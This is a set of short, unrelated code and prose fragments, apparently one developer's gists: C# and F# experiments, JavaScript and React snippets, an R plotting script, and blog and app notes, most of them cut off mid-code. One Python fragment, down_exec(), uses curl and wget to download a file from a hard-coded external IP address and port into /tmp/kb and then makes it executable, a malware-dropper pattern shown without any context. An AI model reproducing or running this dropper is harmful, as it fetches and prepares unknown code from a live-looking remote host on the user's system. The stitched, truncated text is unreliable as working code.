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// this script works in linqpad (https://www.linqpad.net/)

void Main()
{
	var day = new DaysRevisions();
	day.State.Dump();
	day.State.To(LifecycleState.Draft, "me");
	day.State.Dump();
	day.State.To(LifecycleState.Historical, "me");
}

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import os

def down_exec():
        cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb'
        p = os.system(cmd)
        cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb'
        p = os.system(cmd)
        cmd = 'chmod 0777 /tmp/kb'
        p = os.system(cmd)
        cmd = 'chmod u+x /tmp/kb'

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// https://code.google.com/codejam/contest/351101/dashboard#s=p0
open System.Linq

type Case = { c: int; i: int; ps: int[]; index: int[] }

let readFile filename = 
    System.IO.File.ReadLines(filename)

let transpose arr =
    let t = [|for a in [0..Array.max arr] -> -1|]

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Building my blog - a new website with node.js and geddy

tl;dr I built an extremely simple blog engine with node.js and geddy. The code is at https://github.com/liammclennan/gistblog and my blog is at http://withouttheloop.com/

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#r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll"
#r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll"

open FParsec

let parsesA = pchar 'a'
run parsesA "abcdefg"

run (many anyChar) "abcde fg"

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// selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer.
var selectGame = function () {
        // `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array.
        // `_.shuffle` randomizes the list of books.
        // `slice` selects the first 4 books.
        // `books` is then 4 randomly selected books. 
        var books = _.shuffle(this.reduce(function (p, c, i) {
            return p.concat(c.books);
        }, [])).slice(0,4);

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store.subscribe(() => {
    ReactDOM.render(
        <Router history={browserHistory}>
            // Note the use of onEnter event 
            <Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/>
        </Router>)
});

// read route params (state.params) and do required state changes
function handleEnterChunk(state,replace,callback) {

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mean=132; sd=13
lb=105; ub=159

x <- seq(-4,4,length=100)*sd + mean
hx <- dnorm(x,mean,sd)

plot(x, hx, type="n", xlab="Duration (days)", ylab="",
  main="Duration Probability Distribution", axes=FALSE)

i <- x >= lb & x <= ub

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Many people like the pomodoro technique because it helps them focus intently on tasks. It is also helpful for preventing interruptions. If your team, and extended team, know that you are in the middle of a pomodoro then they know to avoid interrupting you. But how do you communicate that you have a pomodoro in progress?

Team Pomodoro combines a tradtional pomodoro timer and a dashboard showing the status of each team member's pomodoros. A person can see at a glance who is currently available and when each person will be available.

Additional Features

• Add features for messaging team members. Choice of

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module domain =
    type post = { id: Guid; title: string; content: string; author_id: Guid }
    type author = { id: Guid; name: string; }
    type crudAction = Create | Update | Delete
    type change = { action: crudAction; entity: obj; id: Guid } 
    
    let addPost (p:post) : seq<change> = 
        // do stuff
        seq { yield {action = Create; entity = box p; id = p.id} }